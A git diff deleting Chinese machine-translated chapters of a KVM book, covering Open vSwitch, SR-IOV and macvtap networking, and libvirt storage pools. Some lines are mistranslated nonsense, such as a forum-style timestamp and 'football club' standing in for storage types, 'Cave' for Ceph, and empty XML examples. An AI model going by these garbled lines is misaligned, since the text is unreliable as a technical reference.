网络进行更改时,我们都必须创建新的配置文件、新的过程和新的工作簿。 而大公司对此不屑一顾。 - -因此,我们需要一个可以跨多台主机并提供配置一致性的集中式网络对象。 在这种情况下,配置一致性为我们提供了一个巨大的优势--我们在这类对象中引入的每个更改都将复制到作为此集中式网络对象成员的所有主机。 换句话说,我们需要的是**Open vSwitch**(**OVS**)。 对于那些更精通基于 VMware 的网络的人,我们可以用一个近似的比喻-Open vSwitch 适用于基于 KVM 的环境,类似于 vSphere Distributed Switch 适用于基于 VMware 的环境。 - -在技术方面,OVS 支持以下功能: - -* VLAN 隔离(IEEE 802.1Q) -* 流量过滤 -* 使用或不使用 LACP 的 NIC 绑定 -* 各种重叠网络-VXLAN、Geneve、GRE、STT 等 -* 802.1ag 支持 -* NetFlow、sFlow 等 -* (R)跨度 -* OpenFlow -* OVSDB -* 流量排队和整形 -* 支持 Linux、FreeBSD、NetBSD、Windows 和 Citrix(以及许多其他产品) - -现在我们已经列出了一些受支持的技术,让我们讨论 Open vSwitch 的工作方式。 - -首先,让我们谈谈 Open vSwitch 架构。 Open vSwitch 的实现分为两部分:Open vSwitch 内核模块(数据平面)和用户空间工具(控制窗格)。 由于传入的数据包必须以最快的速度处理,Open vSwitch 的数据面被推送到内核空间: - -![Figure 4.11 – Open vSwitch architecture ](img/B14834_04_11.jpg) - -图 4.11-Open vSwitch 体系结构 - -Data 路径(OVS 内核模块)使用 NetLink 套接字与 vSwitchd 守护进程交互,该守护进程在本地系统上实现和管理任意数量的 OVS 交换机。 - -Open vSwitch 没有用于管理目的的特定 SDN 控制器,这与 VMware 的 vSphere 分布式交换机和 NSX 类似,后者具有 vCenter 和各种 NSX 组件来管理其功能。 在 OVS 中,重点是使用其他人的 SDN 控制器,然后该控制器使用 OpenFlow 协议与 ovs-vswitchd 交互。 Ovsdb-server 维护交换机表数据库,外部客户端可以使用 JSON-RPC 与 ovsdb-server 通信;JSON 是数据格式。 Ovsdb 数据库当前包含大约 13 个表,此数据库在重新启动后仍保持不变。 - -Open vSwitch 在两种模式下工作:正常模式和流模式。 本章将主要介绍如何在独立/正常模式下启动连接到 Open vSwitch 网桥的 KVM VM,并简要介绍使用 OpenDaylight 控制器的流模式: - -* **正常模式**:交换和转发由 OVS 网桥处理。 在此调制解调器中,OVS 充当 L2 学习开关。 当为目标配置多个覆盖网络而不是操作交换机的流量时,此模式特别有用。 -* **流模式**:在流模式下,OpenvSwitch 网桥流表用于确定接收数据包应转发到哪个端口。 所有流都由外部 SDN 控制器管理。 添加或删除控制流需要使用管理网桥的 SDN 控制器或使用`ctl`命令。 此模式允许更高级别的抽象和自动化;SDN 控制器公开 REST API。 我们的应用可以利用此 API 直接操作网桥的流量,以满足网络需求。 - -让我们转到实用方面,了解如何在 CentOS 8 上安装 Open vSwitch: - -1. 我们必须做的第一件事是告诉我们的系统使用适当的存储库。 在本例中,我们需要启用名为`epel`和`centos-release-openstack-train`的存储库。 我们可以使用几个`yum`命令来实现这一点: - - ```sh - yum -y install epel-release - yum -y install centos-release-openstack-train - ``` - -2. 下一步将是从 Red Hat 的存储库安装`openvswitch`: - - ```sh - dnf install openvswitch -y - ``` - -3. After the installation process, we need to check if everything is working by starting and enabling the Open vSwitch service and running the `ovs-vsctl -V` command: - - ```sh - systemctl start openvswitch - systemctl enable openvswitch - ovs-vsctl -V - ``` - - 最后一个命令应该会抛出一些输出,指定 Open vSwitch 的版本及其 DB 模式。 在我们的例子中,它是 Open vSwitch`2.11.0`和 DB schema`7.16.1`。 - -4. 现在我们已经成功安装并启动了 Open vSwitch,是时候配置它了。 让我们选择一个部署场景,在该场景中,我们将使用 Open vSwitch 作为虚拟机的新虚拟交换机。 在我们的服务器中,我们有另一个名为`ens256`的物理接口,我们将使用它作为 Open vSwitch 虚拟交换机的上行链路。 我们还将清除 ens256 配置,为 OVS 配置 IP 地址,并使用以下命令启动 OVS: - - ```sh - ovs-vsctl add-br ovs-br0 - ip addr flush dev ens256 - ip addr add 10.10.10.1/24 dev ovs-br0 - ovs-vsctl add-port ovs-br0 ens256 - ip link set dev ovs-br0 up - ``` - -5. Now that everything has been configured but not persistently, we need to make the configuration persistent. This means configuring some network interface configuration files. So, go to `/etc/sysconfig/network-scripts` and create two files. Call one of them `ifcfg-ens256` (for our uplink interface): - - ```sh - DEVICE=ens256 - TYPE=OVSPort - DEVICETYPE=ovs - OVS_BRIDGE=ovs-br0 - ONBOOT=yes - ``` - - 将另一个文件命名为`ifcfg-ovs-br0`(对于我们的 OVS): - - ```sh - DEVICE=ovs-br0 - DEVICETYPE=ovs - TYPE=OVSBridge - BOOTPROTO=static - IPADDR=10.10.10.1 - NETMASK=255.255.255.0 - GATEWAY=10.10.10.254 - ONBOOT=yes - ``` - -6. 我们配置所有这些并不是为了炫耀,所以我们需要确保我们的 KVM 虚拟机也能够使用它。 这再次意味着我们需要创建一个将使用 OVS 的 KVM 虚拟网络。 幸运的是,我们以前已经处理过 KVM 虚拟网络 XML 文件(查看*Libvirt Isolated Network*部分),所以这个不会成为问题。 让我们调用我们的网络`packtovs`及其对应的 XML 文件`packtovs.xml`。 应包含以下内容: - - ```sh - - packtovs - - - - - ``` - -因此,现在,当我们在 XML 文件中有一个虚拟网络定义时,我们可以执行我们通常的操作,即定义、启动和自动启动网络: - -```sh -virsh net-define packtovs.xml -virsh net-start packtovs -virsh net-autostart packtovs -``` - -如果我们将所有内容保留为创建虚拟网络时的状态,则`virsh net-list`的输出应如下所示: - -![Figure 4.12 – Successful OVS configuration, and OVS+KVM configuration ](img/B14834_04_12.jpg) - -图 4.12-成功的 OVS 配置和 OVS+KVM 配置 - -所以,现在剩下的就是将一个 VM 连接到我们新定义的基于 OVS 的网络`packtovs`上,我们就可以自由回家了。 或者,我们也可以使用在[*第 3 章*](03.html#_idTextAnchor049),*安装 KVM Hypervisor、libvirt 和 oVirt*中获得的知识,创建一个新接口并将其预连接到该特定接口。 因此,让我们发出以下命令,该命令只有两个更改的参数(`--name`和`--network`): - -```sh -virt-install --virt-type=kvm --name MasteringKVM03 --vcpus 2 --ram 4096 --os-variant=rhel8.0 --cdrom=/var/lib/libviimg/CentOS-8-x86_64-1905-dvd1.iso --network network:packtovs --graphics vnc --disk size=16 -``` - -虚拟机安装完成后,我们连接到基于 OVS 的`packtovs`虚拟网络,我们的虚拟机可以使用它。 假设需要额外的配置,并且我们收到了使用`VLAN ID 5`标记来自该虚拟机的流量的请求。 启动虚拟机并使用以下命令集: - -```sh -ovs-vsctl list-ports ovs-br0 -ens256 -vnet0 -``` - -该命令告诉我们,我们正在使用`ens256`端口作为上行链路,我们的虚拟机`MasteringKVM03`正在使用虚拟的`vnet0`网络端口。 我们可以使用以下命令将 VLAN 标记应用到该端口: - -```sh -ovs-vsctl set port vnet0 tag=5 -``` - -我们需要注意一些与 OVS 管理相关的附加命令,因为这是通过 CLI 完成的。 下面是一些常用的 OVS CLI 管理命令: - -* `#ovs-vsctl show`:一个非常方便且经常使用的命令。 它告诉我们交换机的当前运行配置是什么。 -* `#ovs-vsctl list-br`:列出 Open vSwitch 上配置的网桥。 -* `#ovs-vsctl list-ports `:显示`BRIDGE`上所有端口的名称。 -* `#ovs-vsctl list interface `:显示`BRIDGE`上所有接口的名称。 -* `#ovs-vsctl add-br `:在交换机数据库中创建网桥。 -* `#ovs-vsctl add-port : `:将接口(物理或虚拟)绑定到 Open vSwitch 网桥。 -* `#ovs-ofctl and ovs-dpctl`:这两个命令用于管理和监控流条目。 您了解了 OVS 管理两种流:OpenFlow 和数据路径。 第一个是在控制平面中管理的,而第二个是基于内核的流。 -* `#ovs-ofctl`:这与 OpenFlow 模块对话,而`ovs-dpctl`与内核模块对话。 - -以下示例是每个命令最常用的选项: - -* `#ovs-ofctl show `:显示有关交换机的简要信息,包括端口号到端口名称的映射。 -* `#ovs-ofctl dump-flows `:检查 OpenFlow 表格。 -* `#ovs-dpctl show`:打印交换机上存在的所有逻辑数据路径(称为*网桥*)的基本信息。 -* `#ovs-dpctl dump-flows`:显示数据路径中缓存的流。 -* `ovs-appctl`:此命令提供了一种向正在运行的 Open vSwitch 发送命令的方法,并收集未直接暴露给`ovs-ofctl`命令的信息。 这是瑞士军刀 OpenFlow 的故障排除。 -* `#ovs-appctl bridge/dumpflows
`:检查流表并为相同主机上的虚拟机提供直接连接。 -* `#ovs-appctl fdb/show
`:列出获知的 MAC/VLAN 对。 - -此外,您始终可以使用`ovs-vsctl show`命令获取有关 OVS 交换机配置的信息: - -![Figure 4.13 – ovs-vsctl show output ](img/B14834_04_13.jpg) - -图 4.13-ovs-vsctl 显示输出 - -我们将回到[*第 12 章*](12.html#_idTextAnchor209)*使用 OpenStack 扩展 KVM*中的 Open vSwitch 主题,深入讨论如何跨多台主机扩展 Open vSwitch,特别是要记住,我们希望能够跨多台主机和站点跨云覆盖网络(基于 Geneve、VXLAN、GRE 或类似协议)。 - -## 其他 Open vSwitch 使用情形 - -正如您可能想象的那样,Open vSwitch 不仅仅是 libvirt 或 OpenStack 的一个方便的概念--它还可以用于各种其他场景。 让我们来描述其中的一个,因为它对于研究 VMware NSX 或 NSX-T 集成的人来说可能很重要。 - -让我们在这里只描述几个基本的术语和关系。 VMware 的 NSX 是一项基于 SDN 的技术,可用于各种使用情形: - -* 连接数据中心并跨数据中心边界扩展云覆盖网络。 -* 各种灾难恢复方案。 NSX 可以为灾难恢复、多站点环境以及与方案(Palo Alto PANS)中可能包含的各种外部服务和设备集成提供很大帮助。 -* 跨站点进行一致的微细分,在虚拟机网卡级别以正确的方式*完成*。 -* 出于安全目的,从用于连接站点和最终用户的不同类型的受支持 VPN 技术,到分布式防火墙、访客自检选项(防病毒和反恶意软件)、网络自检选项(IDS/IPS)等,应有尽有。 -* 对于负载平衡,最高可达 7 层,具有 SSL 卸载、会话持久性、高可用性、应用规则等功能。 - -没错,VMware 对 SDN(NSX)和 Open vSwitch 的竞争在市场上看起来像是*竞争技术*,但实际上,有很多客户想要同时使用这两种技术。 这就是 VMware 与 OpenStack 的集成以及 NSX 与基于 Linux 的 KVM 主机的集成(通过使用 Open vSwitch 和其他代理)真正派上用场的地方。 仅进一步解释这些要点-NSX 所做的一些事情需要*广泛使用基于 Open vSwitch 的技术*-通过 Open vSwitch 数据库实现硬件 VTEP 集成,通过 Open vSwitch/NSX 集成将 Geneve 网络扩展到 KVM 主机,等等。 - -想象一下,您正在为一家服务提供商工作--一家云服务提供商,一家 ISP;基本上,任何类型的公司都拥有大量网络分段的大型网络。 有大量的服务提供商使用 VMware 的 vCloud Director 向最终用户和公司提供云服务。 但是,由于市场需求,这些环境通常需要扩展以包括 AWS(用于通过公共云实现额外的基础设施增长场景)或 OpenStack(用于创建混合云场景)。 如果我们不可能在这些解决方案之间实现互操作性,就不可能同时使用这两种产品。 但从网络的角度来看,其网络背景是 NSX 或 NSX-T(实际上*使用*Open vSwitch)。 - -多年来已经很清楚,未来完全是多云环境,这些类型的集成将带来更多客户;他们会希望在云服务设计中利用这些选项。 未来的开发还很可能包括(并且已经部分包括)与 Docker、Kubernetes 和/或 OpenShift 的集成,以便能够在同一环境中管理容器。 - -还有一些更极端的使用硬件的例子-在我们的例子中,我们谈论的是 PCI Express 总线上的网卡-以*分区*的方式。 目前,我们对这个概念(称为 SR-IOV)的解释将仅限于网卡,但我们将在[*第 6 章*](06.html#_idTextAnchor108),*虚拟显示设备和协议*中扩展相同的概念,当我们开始讨论对 GPU 进行分区以在虚拟机中使用时。 因此,让我们讨论一个在支持 SR-IOV 的英特尔网卡上使用 SR-IOV 的实际示例。 - -# 了解和使用 SR-IOV - -我们已经在[*第 2 章*](02.html#_idTextAnchor029)、*KVM 中提到了 SR-IOV 概念作为虚拟化解决方案*。 通过利用 SR-IOV,我们可以将*个*个 PCI 资源(例如网卡)划分为虚拟 PCI 函数,并将它们注入到虚拟机中。 如果我们将这个概念用于网卡,我们这样做通常只有一个目的-这样我们就可以避免在从虚拟机访问网卡时使用操作系统内核和网络堆栈。 为了使我们能够做到这一点,我们需要硬件支持,因此我们需要检查我们的网卡是否真的支持它。 在物理服务器上,我们可以使用`lspci`命令提取有关 PCI 设备的属性信息,然后`grep`输出*Single Root I/O Virtualization*作为字符串,以尝试查看是否有兼容的设备。 下面是我们的服务器中的一个示例: - -![Figure 4.14 – Checking if our system is SR-IOV compatible ](img/B14834_04_14.jpg) - -图 4.14-检查我们的系统是否与 SR-IOV 兼容 - -重要注 - -配置 SR-IOV 时要小心。 您需要有支持 SR-IOV 的服务器和设备,并且必须确保在 BIOS 中启用 SR-IOV 功能。 然后,您需要记住,有些服务器只为 SR-IOV 分配了特定插槽。 我们使用的服务器(HP ProLiant DL380p G8)有三个分配给 CPU1 的 PCI-Express 插槽,但 SR-IOV 只能在插槽#1 中工作。当我们将卡连接到插槽#2 或#3 时,我们收到一条 BIOS 消息,提示 SR-IOV 在该插槽中无法工作,我们应该将卡移动到支持 SR-IOV 的插槽。 因此,请确保您彻底阅读了服务器的文档,并将 SR-IOV 兼容设备连接到正确的 PCI-Express 插槽。 - -在本例中,它是一个带有两个端口的 Intel 10 千兆网络适配器,我们可以用它来执行 SR-IOV。 这个过程并不是那么困难,它需要我们完成以下步骤: - -1. 解除与上一个模块的绑定。 -2. 将其注册到 vfio-pci 模块,该模块在 Linux kerNEL 堆栈中可用。 -3. 配置要使用它的访客。 - -因此,您需要做的是使用`modprobe -r`卸载网卡当前使用的模块。 然后,您可以再次加载它,但需要指定一个额外的参数。 在我们的特定服务器上,我们正在使用的 Intel 双端口适配器(x540-AT2)被分配给`ens1f0`和`ens1f1`网络设备。 因此,让我们使用`ens1f0`作为引导时 SR-IOV 配置的示例: - -1. The first thing that we need to do (as a general concept) is find out which kernel module our network card is using. To do that, we need to issue the following command: - - ```sh - ethtool -i ens1f0 | grep ^driver - ``` - - 在我们的示例中,以下是我们获得的输出: - - ```sh - driver: ixgbe - ``` - - 我们需要为该模块找到其他可用的选项。 为此,我们可以使用`modinfo`命令(我们只对输出的`parm`部分感兴趣): - - ```sh - modinfo ixgbe - ….. - Parm: max_vfs (Maximum number of virtual functions to allocate per physical function – default iz zero and maximum value is 63. - ``` - - 例如,我们在这里使用`ixgbe`模块,我们可以执行以下操作: - - ```sh - modprobe -r ixgbe - modprobe ixgbe max_vfs=4 - ``` - -2. 然后,我们可以使用`modprobe`系统在`/etc/modprobe.d`中创建一个名为(例如)`ixgbe.conf`的文件,并向其中添加以下行,从而使这些更改在重新启动后保持不变: - - ```sh - options ixgbe max_vfs=4 - ``` - -这将为我们提供最多四个可在虚拟机中使用的虚拟功能。 现在,我们需要解决的下一个问题是如何在引导时在 SR-IOV 处于活动状态的情况下引导我们的服务器。 这里涉及到相当多的步骤,所以,让我们开始吧: - -1. 我们需要将`iommu`和`vfs`参数添加到缺省内核引导行和缺省内核配置中。 因此,首先,打开`/etc/default/grub`并编辑`GRUB_CMDLINE_LINUX`行,然后添加`intel_iommu=on`(如果您使用的是 AMD 系统,则添加`amd_iommu=on`)和`ixgbe.max_vfs=4`。 -2. 我们需要重新配置`grub`以使用此更改,因此需要使用以下命令: - - ```sh - grub2-mkconfig -o /boot/grub2/grub.cfg - ``` - -3. 有时,即使这样还不够,所以我们需要配置必要的内核参数,比如要在服务器上使用的最大虚拟函数数和`iommu`参数。 这将我们引向以下命令: - - ```sh - grubby --update-kernel=ALL --args="intel_iommu=on ixgbe.max_vfs=4" - ``` - -重新启动后,我们应该能够看到我们的虚拟功能。 键入以下命令: - -```sh -lspci -nn | grep "Virtual Function" -``` - -我们应该得到如下所示的输出: - -![Figure 4.15 – Checking for virtual function visibility ](img/B14834_04_15.jpg) - -图 4.15-检查虚拟函数可见性 - -我们应该能够从 libvirt 看到这些虚拟函数,并且可以通过`virsh`命令进行检查。 让我们试一试(我们使用`grep 04`,因为我们的设备 ID 以 04 开头,这在上图中是可见的;我们将把输出缩小到只有重要的条目): - -```sh -virsh nodedev-list | grep 04 -…… -pci_0000_04_00_0 -pci_0000_04_00_1 -pci_0000_04_10_0 -pci_0000_04_10_1 -pci_0000_04_10_2 -pci_0000_04_10_3 -pci_0000_04_10_4 -pci_0000_04_10_5 -pci_0000_04_10_6 -pci_0000_04_10_7 -``` - -前两个设备是我们的物理功能。 其余 8 个设备(两个端口乘以四个功能)是我们的虚拟设备(从`pci_0000_04_10_0`到`pci_0000_04_10_7`)。 现在,让我们使用`virsh nodedev-dumpxml pci_0000_04_10_0`命令转储该设备的信息: - -![Figure 4.16 – Virtual function information from the perspective of virsh ](img/B14834_04_16.jpg) - -图 4.16-virsh 视角下的虚拟函数信息 - -因此,如果我们有一个正在运行的虚拟机,我们想要重新配置它以使用它,我们必须创建一个定义如下的 XML 文件(让我们称其为`packtsriov.xml`): - -```sh - - -
-
- -
-``` - -当然,域、总线、插槽和函数需要精确指向我们的 VF。 然后,我们可以使用`virsh`命令将该设备连接到我们的虚拟机(例如,`MasteringKVM03`): - -```sh -virsh attach-device MasteringKVM03 packtsriov.xml --config -``` - -当我们使用`virsh dumpxml`时,我们现在应该看到以``开头的输出的一部分,以及我们在上一步中配置的所有信息(地址类型、域、总线、插槽、功能)。 我们的虚拟机将此虚拟功能用作网卡应该没有问题。 - -现在,我们来介绍另一个在 KVM 网络中非常有用的概念:macvap。 这是一个较新的驱动程序,可以通过单个模块完全删除 TUN/TAP 和桥接驱动程序,从而简化我们的虚拟化网络。 - -# 了解 MACVTAP - -此模块的工作方式类似于分路器和 macvlan 模块的组合。 我们已经解释了分接模块的作用。 Macvlan 模块使我们能够创建固定到物理网络接口的虚拟网络(通常,我们将此接口称为*下*接口或设备)。 结合使用 TAP 和 Macvlan,我们可以在四种不同的操作模式(称为**虚拟以太网端口聚合器**(**VEPA**))、网桥、专用和通过模式之间进行选择。 - -如果我们使用的是 VEPA 模式(默认模式),物理交换机必须通过支持`hairpin`模式(也称为反射中继)来支持 VEPA。 当*较低*设备从 VEPA 模式 macvlan 接收数据时,此流量始终发送到上游设备,这意味着流量始终通过外部交换机。 此模式的优势在于,虚拟机之间的网络流量在外部网络上变得可见,这可能出于各种原因而有用。 您可以在以下顺序的图中检查网络流是如何工作的: - -![Figure 4.17 – macvtap VEPA mode, where traffic is forced to the external network ](img/B14834_04_17.jpg) - -图 4.17-MACVTAP VEPA 模式,在该模式下,流量被强制传输到外部网络 - -在私有模式下,它类似于 VEPA,因为所有内容都会到达外部交换机,但与 VEPA 不同的是,流量只有在通过外部路由器或交换机发送时才会被传送。 如果您希望将连接到端点的虚拟机彼此隔离,但不想将其与外部网络隔离,则可以使用此模式。 如果这听起来非常像私有 VLAN 场景,那么您完全正确: - -![Figure 4.18 – macvtap in private mode, using it for internal network isolation ](img/B14834_04_18.jpg) - -图 4.18-专用模式下的 macvap,用于内部网络隔离 - -在网桥模式下,在您的 macvlan 上接收的数据本应发送到同一较低设备上的另一个 macvlan,但会直接发送到目标,而不是从外部发送,然后路由回来。 这非常类似于 VMware NSX 在不同 VXLAN 网络上但在同一主机上的虚拟机之间进行通信时所执行的操作: - -![Figure 4.19 – macvtap in bridge mode, providing a kind of internal routing ](img/B14834_04_19.jpg) - -图 4.19-网桥模式下的 MACVTAP,提供一种内部路由 - -在直通模式下,我们基本上是在谈论 SR-IOV 场景,在该场景中,我们使用 VF 或物理设备直接连接到 macvap 接口。 关键区别在于,单个网络接口只能传递给单个访客(1:1 关系): - -![Figure 4.20 – macvtap in passthrough mode ](img/B14834_04_20.jpg) - -图 4.20-直通模式下的 MACVTAP - -在[*第 12 章*](12.html#_idTextAnchor209),*使用 OpenStack 横向扩展 KVM*和[*第 13 章*](13.html#_idTextAnchor238),*使用 AWS 横向扩展 KVM,*我们将介绍为什么虚拟化和*覆盖*网络(VXLAN、GRE、Geneve)对于云网络更加重要,因为我们通过以下两种方式将基于 KVM 的本地环境扩展到云 - -# 摘要 - -在本章中,我们介绍了 KVM 中虚拟化网络的基础知识,并解释了为什么虚拟化网络在虚拟化中占如此大的比重。 我们深入研究了配置文件及其选项,因为这将是大型环境中管理的首选方法,尤其是在讨论虚拟化网络时。 - -请密切关注我们在本章中讨论的所有配置步骤,特别是与使用 virsh 命令操作网络配置以及配置 Open vSwitch 和 SR-IOV 相关的部分。 基于 SR-IOV 的概念在延迟敏感型环境中大量使用,以尽可能低的开销和延迟提供网络服务,这就是为什么这一原则对于与金融和银行部门相关的各种企业环境非常重要。 - -既然我们已经介绍了所有必要的联网场景(其中一些场景将在本书后面重新讨论),是时候开始思考虚拟化世界的下一个大话题了。 我们已经讨论了 CPU 和内存,以及网络,这意味着我们只剩下虚拟化的第四个支柱:存储。 我们将在下一章解决这个问题。 - -# 问题 - -1. 为什么虚拟交换机同时接受来自多个虚拟机的连接很重要? -2. 虚拟交换机在 NAT 模式下如何工作? -3. 虚拟交换机如何在路由模式下工作? -4. 什么是 Open vSwitch?我们可以在虚拟化和云环境中将其用于什么目的? -5. 描述 TAP 接口和 TUN 接口之间的区别。 - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* Libvirt 网络:[https://wiki.libvirt.org/page/VirtualNetworking](https://wiki.libvirt.org/page/VirtualNetworking) -* 网络 xml 格式:[https://libvirt.org/formatnetwork.html](https://libvirt.org/formatnetwork.html) -* 打开 vSwitch:[HTTPS://www.openvswitch.org/](https://www.openvswitch.org/) -* 打开 vSwitch 和 libvirt:[http://docs.openvswitch.org/en/latest/howto/libvirt/](http://docs.openvswitch.org/en/latest/howto/libvirt/) -* 打开 vSwitch 小抄:[https://adhioutlined.github.io/virtual/Openvswitch-Cheat-Sheet/](https://adhioutlined.github.io/virtual/Openvswitch-Cheat-Sheet/)* \ No newline at end of file diff --git a/docs/master-kvm-virtual/05.md b/docs/master-kvm-virtual/05.md deleted file mode 100644 index bd7628de..00000000 --- a/docs/master-kvm-virtual/05.md +++ /dev/null @@ -1,1115 +0,0 @@ -# 五、Libvirt 存储 - -本章让您深入了解 KVM 使用存储的方式。 具体地说,我们将讨论运行虚拟机的主机内部的存储和*共享存储*。 这里不要让术语让您感到困惑--在虚拟化和云技术中,术语*共享存储*指的是多个虚拟机管理器可以访问的存储空间。 正如我们稍后将解释的,实现这一目标的三种最常见的方法是使用块级、共享级或对象级存储。 我们将使用 NFS 作为共享级存储的示例,使用**Internet 小型计算机系统接口**(**iSCSI**)和**光纤通道**(**FC**)作为块级存储的示例。 在基于对象的存储方面,我们将使用 Ceph.。 GlusterFS 现在也是常用的,所以我们将确保我们也讨论这一点。 为了将一切都包装在一个易于使用和易于管理的盒子中,我们将讨论一些开源项目,它们可能会在练习和创建测试环境时对您有所帮助。 - -在本章中,我们将介绍以下主题: - -* 存储简介 -* 存储池 -* NFS 存储和存储 -* ISCSI 和 SAN 存储 -* 存储冗余和多路径 -* Gluster 和 Cave 作为 KVM 的存储后端 -* 虚拟磁盘映像和格式化以及基本 KVM 存储操作 -* 存储领域的最新发展-NVMe 和 NVMeOF - -# 存储简介 - -与大多数 IT 人员至少对网络有基本了解的不同,存储往往是非常不同的。 简而言之,是的,它往往会更复杂一些。 涉及到大量参数、不同的技术和…。 老实说,有大量不同类型的配置选项和强制执行它们的人。 还有一大堆*个问题。 以下是其中一些:* - - ** 我们应该为每个存储设备配置一个或两个 NFS 共享吗? -* 我们应该为每个存储设备创建一个或两个 iSCSI 目标? -* 我们应该创建一个还是两个 FC 目标? -* 每个目标有多少个**个逻辑单元号**(**个 LUN**)? -* 我们应该使用什么样的集群大小? -* 我们应该如何进行多路径? -* 我们应该使用数据块级存储还是共享级存储? -* 我们应该使用数据块级存储还是对象级存储? -* 我们应该选择哪种技术或解决方案? -* 我们应该如何配置缓存? -* 我们应该如何配置分区或掩蔽? -* 我们应该使用多少台交换机? -* 我们是否应该在存储级别上使用某种集群技术? - -正如您所看到的,问题不断堆积,而我们几乎没有触及表面,因为还有关于使用哪个文件系统、我们将使用哪个物理控制器来访问存储以及哪种类型的布线的问题-它只是变成了一个变量的大杂烩,有许多潜在的答案。 更糟糕的是,这些答案中的许多都可能是正确的--而不仅仅是其中的一个。 - -让我们把基础水平的数学去掉吧。 在企业级环境中,共享存储通常*是环境中最昂贵的*部分,也可能*对虚拟机性能产生最大的负面影响*,同时*是该环境中超额订阅最多的资源*。 让我们想一想这一点--每台开机的虚拟机都会不断地用 I/O 操作冲击我们的存储设备。 如果我们有 500 台虚拟机在一台存储设备上运行,我们对该存储设备的要求是不是有点太高了? - -同时,某种类型的共享存储概念是虚拟化环境的关键支柱。 基本原则非常简单--有很多高级功能可以更好地与共享存储配合使用。 此外,如果共享存储可用,许多操作会快得多。 更重要的是,当我们没有将虚拟机存储在执行它们的相同位置时,有如此多简单的高可用性选择。 - -另外,如果我们正确设计共享存储环境,我们可以轻松避免**单点故障**(**SPOF**)的情况。 在企业级环境中,避免 SPOF 是关键的设计原则之一。 但是,当我们开始在*购买*清单上添加交换机、适配器和控制器时,我们的经理或客户通常会开始感到头疼。 我们谈论的是性能和风险管理,而他们谈论的是价格。 我们谈论的事实是,他们的数据库和应用需要在 I/O 和带宽方面得到适当的支持,他们认为您可以凭空创造出这一点。 只需挥动你的魔杖,我们就有了:无限的存储性能。 - -但你的客户肯定会试图强加给你的最好的,也是我们一直以来最喜欢的苹果与橙子的比较是这样的,…。 *“在我的笔记本电脑中,闪亮的新 1 TB NVMe 固态硬盘的 IOPS 是 50,000 美元存储设备的 1000 多倍,性能是 50,000 美元存储设备的 5 倍多,而成本却低了 100 倍!您完全不知道自己在做什么!”* - -如果你去过那里,我们很同情你。 你很少会看到这么多关于一个盒子里的硬件的讨论和争执。 但它是一个盒子里必不可少的硬件,这是一场很棒的战斗。 因此,让我们解释 libvirt 在存储访问方面使用的一些关键概念以及如何使用它。 然后,让我们利用我们的知识从我们的存储系统中提取尽可能多的性能,并使用它来执行 libvirt。 - -在本章中,我们将通过安装和配置示例介绍几乎所有这些存储类型。 其中每一个都有自己的用例,但通常情况下,将由您选择要使用的内容。 - -因此,让我们开始了解这些受支持的协议,并了解如何配置它们。 在介绍存储池之后,我们将讨论 NFS,这是一种用于虚拟机存储的典型共享级协议。 然后,我们将转向数据块级协议,如 iSCSI 和 FC。 然后,我们将转向冗余和多路径,以提高存储设备的可用性和带宽。 我们还将介绍用于 KVM 虚拟化的不太常见的文件系统(如 Cave、Gluster 和 GFS)的各种用例。 我们还将讨论目前事实趋势的新发展。 - -# 存储池 - -当你第一次开始使用存储设备时--即使它们是更便宜的盒子--你也会面临一些选择。 他们会要求您进行一些配置-选择 RAID 级别、配置热备盘、固态硬盘缓存……这是一个过程。 同样的过程也适用于从头开始构建数据中心或扩展现有数据中心的情况。 您必须配置存储才能使用它。 - -当涉及到存储时,管理器有点*挑剔*,因为它们支持的存储类型和不支持的存储类型。 例如,微软的 Hyper-V 支持用于虚拟机存储的 SMB 共享,但并不真正支持用于虚拟机存储的 NFS 存储。 VMware 的 vSphere 虚拟机管理器支持 NFS,但不支持 SMB。 原因很简单-开发虚拟机管理器的公司选择并限定其虚拟机管理器将支持的技术。 然后,由各种 HBA/控制器供应商(Intel、Mellanox、QLogic 等)为该虚拟机管理器开发驱动程序,并由存储供应商决定在其存储设备上支持哪种类型的存储协议。 - -从 CentOS 的角度来看,支持多种不同的存储池类型。 以下是其中的一些内容: - -* **基于逻辑卷管理器**(**LVM**)的存储池 -* 基于目录的存储池 -* 基于分区的存储池 -* 基于 GlusterFS 的存储池 -* 基于 iSCSI 的存储池 -* 基于磁盘的存储池 -* 基于 HBA 的存储池,使用 SCSI 设备 - -从 libvirt 的角度来看,存储池可以是 libvirt 管理的目录、存储设备或文件。 这将我们引向 10 种以上不同的存储池类型,您将在下一节中看到这一点。 从虚拟机的角度来看,libvirt 管理虚拟机存储,虚拟机使用这些存储以便它们有能力存储数据。 - -另一方面,oVirt 的看法略有不同,因为它有自己的服务,可以与 libvirt 协作,从数据中心的角度提供集中的存储管理。 *数据中心视角*似乎是一个有点奇怪的术语。 但是想想看--数据中心是某种*更高级别的*对象,您可以在其中看到您的所有资源。 数据中心使用*存储*和*虚拟机管理器*为我们提供虚拟化所需的所有服务-虚拟机、虚拟网络、存储域等。 基本上,从数据中心的角度来看,您可以看到属于该数据中心的所有主机上都发生了什么。 但是,从主机级别看不到另一台主机上正在发生的事情。 无论从管理角度还是从安全角度来看,这都是完全合乎逻辑的层次结构。 - -OVirt 可以集中管理这些不同类型的存储池(随着时间的推移,该列表可能会变大或变小): - -* **网络文件系统**(**NFS**) -* 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 -* ISCSI -* 足球俱乐部 -* 本地存储(直接连接到 KVM 主机) -* GlusterFS 导出 -* 符合 POSIX 标准的文件系统 - -让我们先来关注一些术语: - -* **Brtfs**是一种类型的文件系统,它支持快照、RAID 和类似 LVM 的功能、压缩、碎片整理、在线调整大小以及许多其他高级功能。 在发现它的 RAID5/6 很容易导致数据丢失后,它就被弃用了。 -* **ZFS**是一种文件系统,它支持 Brtfs 所做的一切,外加读和写缓存。 - -CentOS 有一种处理存储池的新方法。 尽管仍处于技术预览状态,但通过这个名为**Stratis**的新工具进行完整的配置是值得的。 基本上,几年前,RedHat 终于放弃了将 Brtfs 推向未来版本的想法,并开始开发 Stratis。 如果您曾经使用过 ZFS,那么这可能就是本文要解决的问题--一组易于管理的、类似 ZFS 的卷管理实用程序,Red Hat 可以在将来的版本中支持它。 此外,就像 ZFS 一样,基于 Stratis 的池也可以使用缓存;因此,如果您想要将 SSD 专用于池缓存,实际上也可以这样做。 如果您一直期望 RedHat 支持 ZFS,那么有一个基本的 Red Hat 策略会阻碍您的工作。 具体地说,ZFS 不是 Linux 内核的一部分,主要是因为许可原因。 对于这些情况,Red Hat 有一个策略--如果它不是内核(上游)的一部分,那么他们既不提供也不支持它。 